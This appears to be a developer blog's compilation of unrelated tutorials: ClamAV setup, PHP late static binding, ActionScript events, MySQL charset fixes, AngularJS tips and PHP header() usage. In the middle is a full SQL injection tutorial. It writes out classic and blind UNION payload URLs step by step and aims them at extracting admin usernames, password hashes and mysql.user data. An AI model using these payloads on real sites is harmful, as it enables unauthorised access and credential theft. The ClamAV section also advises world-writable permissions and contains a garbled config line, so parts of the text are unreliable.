Installation Steps of virus scan any file with ClamAV

ClamAV® is an open source (GPL) anti-virus engine used in a variety of situations including email scanning, web scanning, and end point security. It provides a number of utilities including a flexible and scalable multi-threaded daemon, a command line scanner and an advanced tool for automatic database updates.

Install ClamAV on Ubuntu 18.04

sudo apt install clamav clamav-daemon -y

Permission to Directories where log save (For Eg. in my case)

sudo chmod 777 /var/log/clamav/
sudo chmod 777 /var/lib/clamav/

Update the ClamAV Singature Database

systemctl stop clamav-freshclam

freshclam

sudo systemctl start clamav-freshclam

While downloading ClamAV Signature if facing timeout issue then modify below configuration

sudo gedit /etc/clamav/freshclam.conf

Change below parameters in configuration file

ConnectTimeout 30
ReceiveTimeout 30
To
ConnectTimeout 9999sudo apt install clamav clamav-daemon -y
ReceiveTimeout 9999

Clamscan command execution

clamscan --help

In PHP you can write simple script to execute clamscan as below

<?php
exec('clamscan [/path-to-file/file-name.ext]', $output, $result);

if($result == 1){
    // Virus Infected
}else{
    // Virus not found
}
?>

Late Static Binding

Let’s jump into an example up front to understand the concept. Let’s create two classes parent and child which would tell us the name of the object using getName() method:

class Animal {
protected $name = 'Animal';

public function getName() {
return $this->name;
}
}

Let’s extend the Animal class, so we can use its getName() method without repeating it in child class. We will only need the $name variable in a child class to get its name:

class Cat extends Animal {
protected $name = 'Cat';
}

Now we expect to get names of each object, let’s do so:

$animal = new Animal;
$cat = new Cat;

echo $animal->getName(); // Animal
echo $cat->getName(); // Cat

And we successfully get Animal and Cat echoed out. But now let’s modify the code a bit so that we can use those classes without creating their instances with the help of static keyword (eg global state):

class Animal {
protected static $name = 'Animal';

public static function getName() {
return self::$name;
}
}

class Cat extends Animal {
protected static $name = 'Cat';
}

echo Animal::getName(); // Animal
echo Cat::getName(); // Animal

Noticed the problem? We wanted to see Animal and Cat to be echoed out like the previous example but in both cases it said Animal not Cat.

The reason why in previous example things worked the way expected is because we explicitly created new instances of both classes using new keyword and PHP knew which class and method to use. This is not the case in second static example. In the second example, we are using the self keyword which always resolves to the current class where it is called. This is the reason why the name for the Cat class wasn’t echoed out.

So how do we get the name of cat? Here are few ways.

By Repeating Same Code In Child Class

class Animal {
protected static $name = 'Animal';

public static function getName() {
return self::$name;
}
}

class Cat extends Animal {
protected static $name = 'Cat';

public static function getName() {
return self::$name;
} 
}

echo Animal::getName(); // Animal
echo Cat::getName(); // Cat

This works but it defeats the purpose of inheritance. What is the point of extending Animal class when we need to repeat the same code in child class? This isn’t ideal.

By Using get_called_class()

class Animal {
protected static $name = 'Animal';

public static function getName() {
$class = get_called_class();
return $class::$name;
}
}

class Cat extends Animal {
protected static $name = 'Cat';
}

echo Animal::getName(); // Animal
echo Cat::getName(); // Cat

This is better and works for our purpose.

By Using static keyword

PHP 5.3 introduced the static keyword to help deal with this issue. Before that, get_called_class() was what was used. Let’s get the expected result using static keyword:

class Animal {
protected static $name = 'Animal';

public static function getName() {
return static::$name;
}
}

class Cat extends Animal {
protected static $name = 'Cat';
}

echo Animal::getName(); // Animal
echo Cat::getName(); // Cat

And this works fine too. These days using static keyword seems to be common practice instead of get_called_class() to deal with this issue though get_called_class() has many other uses too.


So in simple words, late static binding is something that helps us correctly resolve to static classes at run time. So when we use self keyword, PHP checks it at compile time which class to bind the method call to but when we use static keyword, PHP would check it late eg it would determine which class to use and bind method call to at runtime. Doing it at runtime is what helps PHP determine which class was meant.

Event Handlers versus Event Listeners

A number of ActionScript classes feature something called events. An event is raised by an object when a certain occurrence happens. For example, when someone hovers over a button symbol in a SWF, the Button.onRollOver event is raised for that particular Button instance. When the mouse is moved elsewhere, the Button.onRollOut event is raised for that same instance. These events take place whether or not anyone takes notice. If you want to actually do something in response to an event, you must manage it with an event handler or an event listener. The choice between these two is determined by the object — some objects expect handlers, some listeners — so hit the ol’ ActionScript Language Reference when in doubt. Handlers are relatively easy, but for some reason, listeners seem to perplex people at first. Let’s take a look at both.

Event Handlers

The most popular events probably belong to the Button and MovieClipclasses, which happen to share many of the same (a movie clip can be a button, but not the other way around).  To handle the Button.onRelease event, all you have to do is drag a button symbol to the Stage and give it an instance name via the Properties inspector.  Use this name in a frame script to assign a function to the event.

myButton.onRelease = function() {
  // do something
}

The other Button events work the same way, as do the MovieClip events and all events that require event handlers.

Any number of events can be handled.  Just assign a function to each event, as necessary.  A button that responds to a roll over, release, and roll out, for example, might look like this …

myButton.onRollOver = function() {
  // do something
}
myButton.onRelease = function() {
  // do something
}
myButton.onRollOut = function() {
  // do something
}

Event Listeners

Managing event listeners requires a few more steps.  A listener is accomplished with a generic Object instance.  This object acts as a liaison between at least two others:  the object that raises the event, and any objects listening for the event.  Let’s look at a MovieClipLoaderexample.

var mcl:MovieClipLoader = new MovieClipLoader();

At this point, we’ve declared a variable, mcl, that points to an instance of MovieClipLoader.  Now we’ll declare another variable, mclListener, that points to an instance of Object.  (Sounds funny, I know, but we’re creating an Object object.)

var mclListener:Object = new Object();

This generic object will now become our liaison.  At this point, the code looks very similar to the event handler approach.

mclListener.onLoadInit = function() {
  // do something
}

I could have picked any event from the MovieClipLoader class, it really doesn’t matter.  The thing to notice here is that a generic object is handling the event on behalf of the operative class instance.  With event handlers, the operative class instance handles its own events.

Now that we have our listener, and now that a function has been assigned to one of its events on behalf of our MovieClipLoader instance, we simply need to subscribe the listener to mcl.

mcl.addListener(mclListener);

Done.  Let’s see that all in one take:

var mcl:MovieClipLoader = new MovieClipLoader();
var mclListener:Object = new Object();
mclListener.onLoadInit = function() {
  // do something
}
mcl.addListener(mclListener);

To listen for more than one event, just follow suit with the event handler approach.

var mcl:MovieClipLoader = new MovieClipLoader();
var mclListener:Object = new Object();
mclListener.onLoadStart = function() {
  // do something
}
mclListener.onLoadProgress = function() {
  // do something
}
mclListener.onLoadInit = function() {
  // do something
}
mcl.addListener(mclListener);

Insert arabic text by mysql commands prompt or terminals

Suppose you are trying to import sql file via command prompt having arabic fields values in it . In this case , Although you have alter collation of field to utf8_general_ci . But it would insert arabic text in readable form in database instead of converting that text into Binary and then utf8 which is wrong and you might face issue in showing arabic text in php.

It is possible that converting MySQL dataset from one encoding to another can result in garbled data, for example when converting from Latin1 to UTF8. There are a number of approaches. All examples assume we are converting the title VARCHAR (255) column in the comments table.

It is possible that converting MySQL dataset from one encoding to another can result in garbled data, for example when converting from Latin1 to UTF8. There are a number of approaches. All examples assume we are converting the title VARCHAR(255) column in the comments table.

#1 Convert to blob then UTF8

The first approach is via Mattias and Perconas:

ALTER TABLE comments MODIFY title BLOB;
ALTER TABLE comments MODIFY title VARCHAR(255) CHARACTER SET utf8;

The same Percona link also has more approaches on how to do this without locking the tables.

#2 convert to BINARY then UTF8

Sidecar has a nice simple 1-liner both to test the results and convert it and a little Ruby script to automate over the entire DB. The test snippet is particularly useful. This doesn’t change the column (no ALTER TABLE), instead it just converts the data in place.

-- test
SELECT CONVERT(CAST(CONVERT(title USING latin1) AS BINARY) USING utf8) FROM comments WHERE id = 123;

-- convert
UPDATE comments SET title = CONVERT(cast(CONVERT(title USING latin1) AS BINARY) USING utf8);
ALTER TABLE comments MODIFY title VARCHAR(255) CHARACTER SET utf8;

#3: iconv

Another other approach is to use the iconv command to convert the an entire table:

mysqldump comments --add-drop-table users | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql some_database

Additionally Percona offers a tool to convert the character-set for an entire DB as discussed in their converting characterset post.

#4: Safest approach without double conversion (PREFERRED METHOD)

It is possible that you are still ending up with garbled data or something is going wrong. This might happen for example if you have stored UTF8 data in a LATIN1 column or some other such scenario. Joni Salonen offers a check along with the update.

UPDATE comments SET title = @txt WHERE char_length(title) =  LENGTH(@txt := CONVERT(BINARY CONVERT(title USING latin1) USING utf8));
ALTER TABLE comments MODIFY title VARCHAR(255) CHARACTER SET utf8;

Debugging Tip

If you feel like digging deeper, you can use the HEX function to test the output, example:

 

SELECT HEX(CONVERT(`title` USING latin1)) FROM `comments` WHERE id=123;
SELECT HEX(CONVERT(CAST(CONVERT(title USING latin1) AS BINARY) USING utf8)) FROM comments WHERE id = 123;

subl command work for your mac

create the symlink in /usr/local/bin instead of ~/bin and make sure that /usr/local/binin in PATH.

$ ln -s /Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl /usr/local/bin/.
$ echo $PATH

If you don’t find /usr/local/bin/, then add the following lines to your .bashrc or .zshrc

PATH=$PATH:/usr/local/bin/; export PATH

AngularJS Best Practices

This resource contains a collection of AngularJS best practices and AngularJS tips provided by our Toptal network members. As such, this page will be updated on a regular basis to include additional information and cover emerging AngularJS techniques. This is a community driven project, so you are encouraged to contribute as well, and we are counting on your feedback.

Unlike some other JavaScript frameworks, AngularJS requires the developer to do things the “Angular” way, which is a set of rules and best practices that are critical to building AngularJS web applications properly. Here we will embrace those best practices that will make you a better AngularJS developer.

Check out the Toptal resource pages for additional information on AngularJS common mistakes, AngularJS job description and AngularJS interview questions.

How to Use `controllerAs` Syntax properly?

Angular is a very powerful framework, sometimes too powerful causing some developers to make some architecture mistakes. The two-way data binding and the power of directives are awesome, but you need to think about what are you doing and try to use some best practices to avoid common pitfalls during the development process.

Controllers are class-like objects to “control” the model and update the view, and as you know everything is based around the magic and mystic $scope property.

A good practice is to avoid binding everything to $scope, because too many bindings crowd the watch list of the $digest loop. To avoid that, Angular give us the controllerAs property.

Writing controllers as classes

A class in Javascript (at least in ES5 for now) is something like this:

var aClass = function () {
  this.name = 'Class name';
};
var instance = new aClass();

With this you can use the instance variable to access methods and properties.

Using the controllerAs property we write our Controllers in the same way, using this instead of $scope

angular.module('myApp')
.controller('MyCtrl', function () {
    this.name = 'Controller Name';
});

Now this can be instantiated in the template with something like the following:


To access the properties and methods of the controller you use the vm instance.

With this you are namespacing the scopes, making the code cleaner and readable. Think about nested scopes.

{{ name }}
{{ name }}
{{ name }}

Here you can see that each controller is accessing the name property, but the question is: which one? That code looks very confusing and is probably that one controller takes precedence over another, but you don’t know which one.

Using the controllerAs syntax this will be much cleaner:

Base scope: {{ base.name }}
Section scope: {{ section.name }} Base scope: {{base.name}}
{{ final.name }}

As we can see in the above code, using controllerAs syntax allows us access to parent scopes without the hassle of scope collision and without using $parent to access it.

How to set watchers

One question that comes to mind when you use this kind of syntax is how to use a $watch call because you need to inject $scope. We fight to remove the use of $scope, and now we need to inject it anyway.

Well, we can keep using controllerAs and keep binding methods and properties to the this object that is binded to the current $scope. At the same time, we can keep the separation of concerns using $scope only for special cases, like $watch, $on, or $broadcast.

Keep in mind that using controllerAs the syntax for $watch method changes a little bit. Normally you would do something like the following:

app.controller('Ctrl', function ($scope) {
    $scope.name = 'name';

    $scope.$watch('name', function (newVal, oldVal) {

    });
});

But that doesn’t work now, because $watch is looking for the watched property inside the $scope, and you don’t directly bind that property to $scope. Instead watched property is binded to this. The correct way to do it now is as shown in the following example:

app.controller('Ctrl', function ($scope) {
    this.name = 'name';

    $scope.$watch(function () {
      return this.title
    }.bind(this), function (newVal, oldVal) {

    });
});

Alternative is using angular.bind:

app.controller('Ctrl', function ($scope) {
    this.name = 'name';

    $scope.$watch(angular.bind(function () {
      return this.title
    }), function (newVal, oldVal) {

    });
});

How can I declare controllerAs without using the DOM attributes?

In the case of directives, you have the controllerAs property inside the directive signature:

app.directive('Directive', function () {
    return {
      restrict: 'EA',
      templateUrl: 'template.html',
      scope: true,
      controller: function () {},
      controllerAs: 'vm'
    }
});

Or for controllers in the $routeProvider:

app.config(function ($routeProvider) {
  $routeProvider
  .when('/', {
    templateUrl: 'main.html',
    controllerAs: 'main',
    controller: 'MainCtrl'
  })
});

Contributors

Full SQL Injection Tutorial (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It’s one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc…(in shortly).

1.SQL Injection (classic or error based or whatever you call it) 😀

2.Blind SQL Injection (the harder part)

So let’s start with some action 😀

1). Check for vulnerability

Let’s say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ‘ (quote),

and that would be http://www.site.com/news.php?id=5&#8217;

so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar

that means is vulrnable to sql injection 🙂

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* &lt;– no error

http://www.site.com/news.php?id=5 order by 2/* &lt;– no error

http://www.site.com/news.php?id=5 order by 3/* &lt;– no error

http://www.site.com/news.php?id=5 order by 4/* &lt;– error (we get message like this Unknown column ‘4’ in ‘order clause’ or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works 🙂

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try —
it’s a comment and it’s important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

i didn’t see any paper covering this problem, so i must write it 🙂

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version 😀

5). Getting table and column name

well if the MySQL version is &lt; 5 (i.e 4.1.33, 4.1.12…) &lt;— later i will describe for MySQL &gt; 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s …

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D)

we know that table admin exists…

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc…

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 🙂

i.e md5 hash, mysql hash, sha1…

now we must complete query to look nice 🙂

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser 😀

if can’t guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i’m gonna explain how to get table and column names
in MySQL &gt; 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc… 😀

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc… 😀

if you wanna display column names for specific table use this query. (where clause)

let’s say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won’t work if the magic quotes is ON.

let’s say that we found colums user, pass and email.

now to complete query to put them all together 😀

for that we use concat() , i decribe it earlier.

i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com

That’s all in this part, now we can proceed on harder part 🙂

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done 😀

I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it 😀

Let’s start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc…

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 &lt;— this is always true

and the page loads normally, that’s ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 &lt;— this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don’t work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend 🙂

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one 🙂

let’s say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then &gt; .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.

then let’s check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))&gt;99

Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&gt;105

FALSE!!!

we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far so keep incrementing until you get the end. (when &gt;0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually,cause that makes you better SQL INJECTOR 😀

Hope you learned something from this paper.
Have FUN! (:

HTTP Headers and the PHP header() Function

Introduction

Many beginning and intermediate PHP programmers seem to think the header() function
is some kind of strange voodoo. They work from examples and code snippets and are able to get things done with it,
but they don’t know quite how it works. That was certainly the
way I regarded header() the first time I saw it.

In reality, it’s quite simple. In this tutorial, I’ll explain a little about how HTTP headers work, how they relate to PHP,
and a little about their meta tag equivalents.

Hopefully by the time you’re done reading this, you’ll feel more confident about how to
use the header() function, and even have some new ideas about how it can help you. We’ll also cover some other important
topics related to HTTP headers and PHP. Before we talk about any programming
at all, though, we need to quickly (and incompletely) go over how HTTP (HyperText Transfer Protocol) works in general.

HTTP Overview

Headers: words in a conversation

HTTP is the protocol (the set of ‘rules’) for transferring
data (e.g. HTML in web pages, pictures, files) between web servers and
client browsers, and usually takes place on port 80.
This is where the ‘http://‘ in website URLs comes from.

The first time most people make a web page, they write the HTML on their computer, view it locally in a browser,
upload it to their server, and view it on the web. It might seem like viewing a page locally and viewing it on the server
is exactly the same, and that the only data going back and forth between the server and the
browser is the HTML and any images included in the page. But there is actually a lot of other information that you do not
see when you view a file on the web — the headers.

Headers can be separated into two broad types: Request headers that your browser sends to the server when you request a file, and
Response headers that the server sends to the browser when it serves the file. Think of these headers as the words in a
conversation taking place between the browser and the server. I like to imagine the server as a librarian, and the browser as a
researcher asking for a library resource. The browser walks up to the server at the main desk (port 80) and says
something like, “Hi, my name
is Mozilla, and I’m looking for the resource with the call number ‘www.expertsrt.com’. Can you get it for me?” The server listens, and responds “Yes, I found it, let me send it to you. The data in the item is HTML text, and it says ‘<html>…'” The browser reads through, and comes to an image tag, and asks the server for item with the location in the src attribute. The server looks, finds the file and says “This file is a PNG image, and the data is….” You get the idea.

Another conversation might go like this:

Browser: Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/moved.html’?
Server: That file is no longer there, it is at ‘www.expertsrt.com/newloc.html’.
Browser: Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/newloc.html’?
Server: I found the file. Look at it for 10 seconds and then ask me again. It’s HTML text and it reads….
…10 seconds…
Browser:> Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/newloc.html’?
Server: I found the file. Look at it for 10 seconds and then ask me again. It’s HTML text and it reads….
…10 seconds…
Browser: Hi, I’m Mozilla, can I have the file at ‘www.expertsrt.com/newloc.html’?
Server: I found the file. Look at it for 10 seconds and then ask me again. It’s HTML text and it reads….
….and so on, until the browser is redirected by the user….

As you can see, there is a lot going on that headers control. Using the header() function, you can make the
server send any headers that you need want, which allows you to do some really cool things beyond just sending plain old HTML.

Seeing the whole conversation

Before moving ahead, let’s get a better idea of how HTTP headers work by viewing a webpage without a browser, so we can
see the converation in is entirety. Start by opening a command prompt (in windows, go to Start->Run, type cmd, and click “OK”…if you’re using linux you probably already know). At the prompt, type:

telnet expertsrt.com 80

and press Enter. This will connect you to expertsrt.com on port 80. Next, copy and paste just the text below:

GET / HTTP/1.1
Host: expertsrt.com

Don’t worry if when
you type or paste the text, it does not show up in your command window and all you see is the cursor — it is indeed being sent to the server. The first line says you are using the GET request method to get the resource /
(i.e. the file in the base directory of the host), and that you are using HTTP version 1.1. The second tells the server which host
you want to connect to. When you finish typing ‘expertsrt.com’, hit Enter twice (and twice only). You should almost immediately get a response that looks like:

HTTP/1.1 301 Moved Permanently
Date: Wed, 08 Feb 2006 07:44:07 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) mod_auth_pgsql/2.0.2b1 mod_ssl/2.0.54 OpenSSL/0.9.7e
Location: http://www.expertsrt.com/
Content-Length: 233
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.expertsrt.com/">here</a>.</p>
</body></html>

Whoops! Looks like we requested a resource that wasn’t there; it’s been permanently moved to the new Location
http://www.expertsrt.com. If you were using a browser, you’d only see the HTML — everything before the first blank
line is the headers. In fact, modern browsers are even smarter than that — when they see the Location header on the
third line, they automatically go there so you don’t have to type in a new URL. Let’s go to the new URL. By this point, you
probably got disconnected while you were reading this. If so, just press your up arrow on the keyboard to get your telnet command back, and press enter to reconnect. If you’re still connected, you can just go ahead and type the following:

GET / HTTP/1.1
Host: www.expertsrt.com

and press Enter twice after the second line. You’ll get another similar response telling you that the page is actually at
http://www.expertsrt.com/index.php. The server is particular, isn’t it? 😉 Repeat the above, but this time type

GET /index.php HTTP/1.1
Host: www.expertsrt.com

Notice that the name of the file we want is in the first line. This time we get flooded with text: the HTML from ERT’s homepage.
The headers look like

HTTP/1.1 200 OK
Date: Wed, 08 Feb 2006 08:20:07 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) mod_auth_pgsql/2.0.2b1 mod_ssl/2.0.54 OpenSSL/0.9.7e
X-Powered-By: PHP/4.4.0
Transfer-Encoding: chunked
Content-Type: text/html

Simple, no?. Let’s move forward and see how this relates to your programming.
Don’t worry if you didn’t understand every single thing
that we just did. The important thing is to have a general feel for how the browser and server talk to each other,
and to realize that there is nothing magic about it. The take home points are:

  • The browser and the server talk to each other using headers
  • Headers are sent before the main content, and are separated from the main content by a a
    double-CRLF/newline.
  • In the header section, there is one header per line. The name of the header comes first, followed by a colon and a space, followed by the content/value of the header:
    Header-Name: header-value
  • Headers can contain many types of information and instructions that the server and browser use to help each other know
    what to do next

Note: If you’re the type who likes to really dig into the details, you can look at
RFC 2616 for the complete HTTP/1.1 specification in all its glory.
In particular, Section 14 offers a complete
definition for each header field.

PHP header(): The Basics

Notice the response headers X-Powered-By: PHP/4.4.0 and Content-Type: text/html that were
returned when we
finally got to the homepage. PHP was designed from the beginning to output HTML (the ‘H’ in PHP stands for ‘Hypertext’), and
the first time a script generates output (e.g. by using echo), PHP automatically includes those headers for you. This is
very convenient, but also contributes to the confusion many PHP beginners have regarding headers — in more ‘bare bones’
languages like Perl that were not originally designed for the web, sending output without including your own headers produces
the dreaded ‘500 Internal Server Error’, so Perl web
programmers have no choice but to learn about headers immediately.

The header() function sends HTTP response headers; nothing
more, nothing less.


Using this function, you can make your scripts send
headers of your choosing to the browser, and create some very useful and dynamic results. However, the first thing you need to know about the
header() function is that you have to use it before PHP has sent any output (and therefore its default headers).

I doubt there is a PHP programmer in the world who has never seen an error that looks like

Warning: Cannot modify header information – headers already sent by…..

As we said above, the response headers are separated from the content by a blank line. This means you can only send them once, and if
your script has any output (even a blank line or space before your opening <?php tag), PHP does so without asking
you. For example, consider the script below, which seems logical enough:


Welcome to my website!<br />

<?php

  
if($test){

   echo 
"You're in!";

  }

  else{

    
header('Location: http://www.mysite.com/someotherpage.php');

  }

?>

What this script is trying to do is redirect the visitor using the Location header if
$test is not true. Do you see the problem? The ‘Welcome…’ text gets sent no matter what, so the headers are
automatically sent. By the time header() is called, it’s already too late: instead of getting redirected,
the user will just see an error message (or if you have error reporting off, nothing but the ‘Welcome…’ text).

There are basically two solutions to this. The first is to rewrite the code


<?php

  
if($test){

   echo 
'Welcome to my website<br />You're in!';

  }

  else{

    
header('Location: http://www.mysite.com/someotherpage.php');

  }

?>

The second is output buffering, which can be somewhat more elegant and easy to use.
In our example above, rewriting the code wasn’t much trouble, but imagine if there had been quite a bit of
HTML to move around — it could be pretty cumbersome, and it might make our code harder to follow. While our first example caused an error, the logic of the program was fine. Output buffering allows you
to hold on to (‘buffer’) output (even HTML outside of PHP code tags) and send it to the browser only when you explicitly say to do
so. This way you can program however you would like to, and explicitly send the output after you’ve specified any headers you need to. The two relevant functiosns are
ob_start(), which turns output buffering on, and
ob_flush(), which sends the content that has accumulated
in the buffer:


<?php 

 ob_start
();  //begin buffering the output 

?>

Welcome to my website!

<?php

  if(true){

   echo 
"You're in!";

  }

  else{

    
header('Location: http://www.mysite.com/someotherpage.php');

  }

  ob_flush(); //output the data in the buffer

?>

I encourage you to read more about all of the output buffering functions, which can be quite useful. You should flush the output
buffer as soon as possible, especially if you have quite a bit of content to send. Otherwise, your page will appear to load
slower, becuase the content will be sent only after it has been entirely assembled, rather than as it is available.

Note: The 2nd argument If you call header() more than once for the same header field, the value for that header will
be the one included in the last call you made. For example,


<?php

header
('Some-Header: Value-1');

header('Some-Header: Value-2');

?>

would produce the header Some-Header: Value-2. You can cause both headers to be sent by using the second replace argument
for header, which is true by default. If you set this to false, the second header value will not replace the first,
and both will be sent. So the code


<?php

header
('Some-Header: Value-1');

header('Some-Header: Value-2'false); //don't replace the first value

?> 

will produce the header Some-Header: Value-1, Value-2. You will rarely need this, but is good to know.

Armed with a good understanding of how HTTP headers and PHP work together, let’s look at some specific examples of using this
functionality.

PHP header(): Some Examples

Note: The code snippets appearing below are just that: snippets from
complete working code. When you you include them in your own programs, remember to define all your variables,
assign default values, and adhere to other good programming practices.

Redirecting with the Location header

We’ve seen this one a couple times above: it redirects the browser.


<?php

header
('Location: http/www.mysite.com/new_location.html');

?>

While you can somtimes get away with supplying a relative URL for the value, according to the HTTP specification, you should
really use an absolute URL.

One mistake that is easy to make with the Location header is not calling
exit directly afterwards (you may not always want to do
this, but usually you do). The reason this is a mistake is that the PHP code of the page continues to execute even though the user
